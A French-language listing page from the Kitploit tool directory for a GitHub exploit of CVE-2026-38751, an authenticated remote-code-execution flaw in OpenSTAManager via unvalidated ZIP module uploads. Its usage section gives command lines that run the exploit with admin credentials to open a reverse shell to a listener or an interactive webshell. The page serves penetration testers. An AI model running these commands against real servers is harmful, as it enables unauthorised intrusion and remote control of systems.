Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-38751 — Exploit d'exécution de code à distance authentifié pour OpenSTAManager via un téléchargement ZIP non validé, offrant un reverse shell et des capacités de webshell interactif pour les tests d'intrusion autorisés. | Kitploit
Outils/GitHubGitHub/why-shell/cve-2026-38751
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubwhy-shell/cve-2026-38751

CVE-2026-38751

Exploit d'exécution de code à distance authentifié pour OpenSTAManager via un téléchargement ZIP non validé, offrant un reverse shell et des capacités de webshell interactif pour les tests d'intrusion autorisés.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-38751 — Téléchargement de module OpenSTAManager RCE

RCE authentifiée via un téléchargement ZIP non validé dans le point de terminaison de mise à jour de module.

Affecté: OpenSTAManager <= 2.10.x

Prérequis

pip install requests

Utilisation

root@kitploit:~
# Reverse shell (Penelope or any listener)
python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444

# Interactive webshell
python3 exploit.py -u http://TARGET -U admin -P admin --interactive

Références

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

Avertissement

Pour les tests de pénétration autorisés et à des fins éducatives uniquement.

Télécharger l’outil